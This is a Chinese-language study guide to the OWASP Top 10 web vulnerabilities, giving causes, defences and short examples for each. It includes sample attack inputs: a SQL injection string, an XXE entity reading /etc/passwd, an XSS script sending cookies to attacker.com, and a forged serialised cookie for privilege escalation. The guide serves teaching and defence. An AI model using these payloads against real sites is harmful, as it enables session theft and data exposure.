owasp top 10

什么是 owasp

OWASP(Open Web Application Security Project）是一个在线社区，主要在Web应用程序安全领域中提供文章，方法论，文档，工具和技术。OWASP Top 10列出了公认的最有威胁性的Web应用安全漏洞。

漏洞简介

1. Top1-注入

当用户发送不可信地数据到解释器的时候，就可能出现注入漏洞，比如SQL, NoSQL, LDAP注入，解释器可能会将用户发送的恶意数据视为指令或数据库查询，使得用户在没有权限的情况下访问数据，甚至导致用户完全控制服务器。

漏洞成因：

用户数据没有被验证，过滤或净化。
在没有使用context-aware escaping 的情况下，动态询问和非参数化调用被解释器直接使用
恶意数据被直接使用到对象关系映射(object-relational mapping,ORM）中
恶意数据被直接使用或拼接到指令上，导致SQL或命令中包含恶意数据

避免方法

使用安全API，参数化的接口或ORM工具
使用输入字符的白名单，并不是很好用
对特定的解释器，转义所有特殊字符。当数据库中表名包含特殊字符时不好用。
使用 LIMIT等语句避免泄漏大量数据

例子

String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'"; 

当我们的参数为id=‘or’1’='1，就会导致用户获得整个表

2.失效身份验证和会话管理

应用中负责认证和会话管理的部分没有正确实现，使得攻击者得以泄露密码，口令或令牌，进而可能获取其他用户的身份。

漏洞成因

允许自动化的攻击，如凭据填充（credential stuffing,撞库）攻击。
允许爆破等攻击
允许默认，弱，广为人知的密码
使用弱，或无效的凭据恢复和忘记密码策略
使用明文，加密或弱hash的密码
使用损坏的或无效的多因子认证
在URL中暴露会话ID
在成功登录后没有轮换会话ID
没有及时把会话ID，验证令牌等信息无效化。

避免方法

实现多因子认证以组织自动化攻击和凭据重用。
避免使用默认密码
进行弱密码检查
对齐密码长度，复杂度
确保注册，凭据恢复和API被加固以抵御账户枚举攻击
限制或延迟失败的登录尝试，并记录所有失败尝试并在发动攻击时报警
使用服务端，安全，内置的会话管理，确保对于每次登录生成随机会话ID。会话ID不应该在URL中，且应该及时销毁。

例子

用户登陆后没有退出，而是关掉了浏览器，只要使用相同的浏览器，且会话没有及时销毁，就能访问。

3.敏感信息泄露

许多web应用和API没有很好地保护隐私数据，比如金融，医疗。攻击者可以偷取或修改这些数据，从而进行信用卡诈骗，身份窃取等。敏感数据在传输过程中应当使用额外的安全措施以避免泄露。

漏洞成因

数据明文传输
数据明文存储
使用弱密码算法
使用默认密钥，弱密钥，重用密钥
没有强制使用安全措施
用户终端没有验证接收到的服务器凭据是否有效

避免方法

分类数据，确认哪些数据是敏感的
按照分类控制数据
尽量不存储敏感数据
确保加密所有存储的敏感数据
确保使用强的加密算法，使用合适的密钥管理
确保传输的敏感信息加密
包含敏感数据的响应不缓存
使用强的，加盐的hash函数存储密码
独立验证配置的有效性

例子

攻击者将链接从https降为http，拦截用户发送的包，偷取其中cookie，进行重放攻击，劫持会话，从而获取用户隐私信息。他们也可以直接修改传输的包中的数据。

4.XML外部实体注入攻击（XXE）

许多老版本或弱配置的XML解析器在处理XML文件内的外部实体时，会去运行其中的代码。外部实体可以使用文件URI关闭系统内部正在运行的文件，导致无法提供功能。

漏洞成因

应用接受XML或XML上传，或向XML中插入了不可信数据。
XML解析器或基于SOAP的服务器启用了DTD(Document Type Definition,文档类型定义)
SAML（安全断言标记语言，基于XML的身份验证）被用于实体处理。
使用1.2版本之前的SOAP，它可能易受XXE攻击，如果XLM被直接传给SOAP的话。
易受XXE攻击的服务器会受到billion laughs attack之类的DoS攻击。

避免方法

只要有可能，使用JSON之类的简单数据格式，不序列化敏感数据。
及时打补丁，升级XML解释器以及使用的库。使用Dependency-check之类的工具。升级SOAP到1.2及更高
在解析器中禁用XML外部实体和DTD
使用服务端输入白名单，过滤，格式化来避免XML文件中的恶意数据
验证XML和XSL文件上传功能中是否使用XSD（XML Schema Definition）及类似的验证功能
SAST工具能够帮助检测源码中的XXE
使用虚拟补丁，API安全网关，WAF等手段

例子

<?xml version="1.0" encoding="ISO-8859-1"?> 
<!DOCTYPE foo [ 
<!ELEMENT foo ANY > 
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> 
<foo>&xxe;</foo> 

5.失效访问控制

认证用户权限的限制往往没有比较好地配置，这导致攻击者能够利用这些缺陷访问未授权的功能和数据。

漏洞成因

通过修改URL，内部应用状态，HTML页面绕过访问控制检查
允许查看和编辑其他用户的账号
提权。
元数据操纵，比如重放或伪造JWT token, cookie或隐藏的用于提权的域，或破坏JWT无效机制
CORS(Cross-Origin Resource Sharing)错误配置允许未授权的API访问
强制浏览未授权的页面，API没有进行访问控制

避免方法

除了公共资源外，默认禁止访问
实现访问控制机制并在系统内到处重用，最小化CORS使用
模型访问控制应该强制记录拥有权，而不是用户都能增删改查每一条记录
禁止列出WEB服务器目录，确保元数据和备份文件不在根目录
记录访问控制失效，合适时警告管理员
限制访问API的频率，最小化自动攻击工具的损害
JWT token应该在登出后立刻失效

例子

pstmt.setString(1, request.getParameter("acct")); 
ResultSet results = pstmt.executeQuery( ); 

攻击者只需要在浏览器中将acct修改为任意用户名即可实现攻击

6.安全性错误配置

安全性错误配置是一种非常常见的问题，网站管理员往往会保留默认配置，这导致了很多安全性问题。系统，应用，框架，库不止应该被安全地配置，他们还应该被及时更新。

漏洞成因

在应用栈中任意一处没有安全加固，云服务器授权没有正确配置
非必要的特性被启用或安装
默认账户和密码没有改变
错误处理泄露出了栈追踪，或其他包含信息过多的错误消息被泄露给了用户
可升级的系统中最新的安全特性没有被启用或正确配置
应用服务器，应用框架，库，数据库中的安全设置没有被设为安全值。
服务器没有发送安全头或指令，或是他们呢没有被正确设置
软件过时了，易受攻击

避免方法

可重复的加固程序，能够更快，更容易地部署环境。确保开发，QA,生产环境配置完全相同，但使用不同的凭据。这个程序应该自动化，以最小化安装安全环境地代价。
最小的平台，不包含任何非必须地特性，组件，文档。
包管理工具中检查并更新安全配置
分段应用结构，使用分段，容器化，云安全组等手段分开组件和用户。
发送安全指令到客户端
使用自动化进程以验证所有环境中配置的有效性

例子

应用服务器中带有案例应用。这些应用中带有攻击者已知的安全漏洞，如果其中一个是admin命令行，默认账号没有修改，攻击者就可以控制服务器。

7.Cross-Site-Scripting(XSS)

XSS漏洞出现在当web页面包含不可信的数据，却没有合适的验证手段来找到它的时候。XSS使得攻击者能够在受害者的浏览器中执行脚本，从而劫持会话，或重定向到恶意站点。

漏洞成因

反射型XSS：应用或API包括未验证的或非转义的用户输入作为HTML的输出的一部分。成功的攻击能够使得攻击者在受害者的浏览器上执行任意HTML和JavaScript。
存储型XSS：应用或API存储未格式化的用户输入，且该输入之后会被其他用户或管理员浏览到。
DOM XSS：动态包含攻击者可控制数据到页面中的JavaScript框架， 单页应用，API易受DOM XSS。

避免方法

使用自动转义XSS的框架，比如React JS。学习每种框架的XSS保护，并手动处理用例没有覆盖到的部分。
转义不可信的HTTP请求数据能够解决反射型和存储型XSS威胁。
在客户端修改浏览器文档时应用内容敏感的编码以抵御DOM XSS。或使用相似的内容敏感转义技术。
启用CSP(Content Security Policy),这是一种对抗XSS的纵深防御弥补控制。

例子

(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>"; 

攻击者只要将CC参数修改为

'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'. 

就会使得受害者的cookie被发送到攻击者的网站，进而劫持会话。

8.不安全的反序列化

不安全的反序列化经常会导致远程代码执行。也能用于进行重放攻击，注入攻击，提权攻击。

漏洞成因

对象和数据结构相关攻击：当存在类能够在反序列化过程中或是之后改变应用表现，攻击者就能通过这个类修改应用逻辑，或实现任意远程代码执行。
典型数据篡改攻击：如访问控制相关攻击，当数据结构存在而内容又能被修改。

避免方法

唯一的安全模式是不接受来自不可信的参与者的序列化对象。如果不得不接受，使用以下策略：

对任何序列化对象进行完整性检测，比如数字签名以防止数据篡改或恶意对象。
在反序列化过程中强制严格的类型限制。
在低权限环境中独立运行反序列化代码
记录反序列化异常和错误，比如收到的类型并不是期望的类型。
限制或监管入的和出的来自反序列化的容器或服务器的网络链接
监管反序列化，当用户一直反序列化时报警。

例子

a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";} 

若某站点使用如上图数据结构保存cookie，攻击者可以将cookie修改为下图形式

a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

如果Alice是管理员，且密码为攻击者命中，攻击者就会得到管理员权限。

9.使用具有已知漏洞的组件

库，框架等软件组件和应用有着相同的权限。如果存在有漏洞的组件，那么攻击就能够导致数据泄露甚至控制服务器。组件中的漏洞会导致整个应用和API安全性的下降。

漏洞成因

管理员不知道使用的所有组件的版本，包括直接使用的和嵌套的
软件易受攻击，不再支持，或是过时了。包括OS, web服务器，DBMS，APIs和所有组件，运行时环境，库。
没有周期性扫描漏洞，没有关注所使用组件的安全公告。
没有及时修复或升级平台，框架，依赖。
软件开发者没有测试升级，更新，补丁的兼容性

避免方法

移除不再使用的依赖，不必须的特性，组件，文件，文档
持续地列出目前之用的组件和依赖地版本，使用诸如DependencyCheck 之类的工具。持续关注CVE, NVD上的关于对应组件的漏洞。使用SCA(software composition analysis)自动化这个过程，订阅关于所使用组件的邮件通知。
只从官方来源得到组件，签名的包更好。
关注不再维护的库和组件，如果打补丁不再可能，考虑部署虚拟补丁。

例子
大部分IoT设备很难被打补丁。

10.日志记录和监控不足

日志和监控不足，再加上缺失或无效的事件响应，允许攻击者进一步攻击系统，他可以转向更多系统，进行篡改，提取，销毁数据。大部分研究表明违反往往会在超过200天后才被检测出来，而且还是由外部参与者检测到的。

漏洞成因

可审计的事件，比如登录，登录失败没有被记录。
警告和错误没有产生足够的，清晰的日志消息
应用和API关于可疑活动的日志没有被监管。
日志只本地存储
没有设置合适的警告阈值和响应升级流程
渗透测试和扫描工具没有触发警告。
应用无法实时检测，或对攻击做出警告

避免方法

确保登录，访问控制失败，服务断输入验证失败等事件会被日志记录，同时记录足够多的用户上下文以确定可疑账号。保存足够长的时间以用于分析。
确保日志以一定格式生成，便于日志管理。
确保高额转账带有审计跟踪和完整性控制以避免篡改或删除
建立有效的监管和报警机制，使得可疑活动被及时检测和响应。
建立事件响应和恢复计划。

例子

攻击者用常用密码撞库，每个账户只登录失败一次，如果没有合适的报警机制就会忽视。
恶意软件检测沙盒报警了很多次确没有引起重视，最后因为盗刷银行卡被察觉。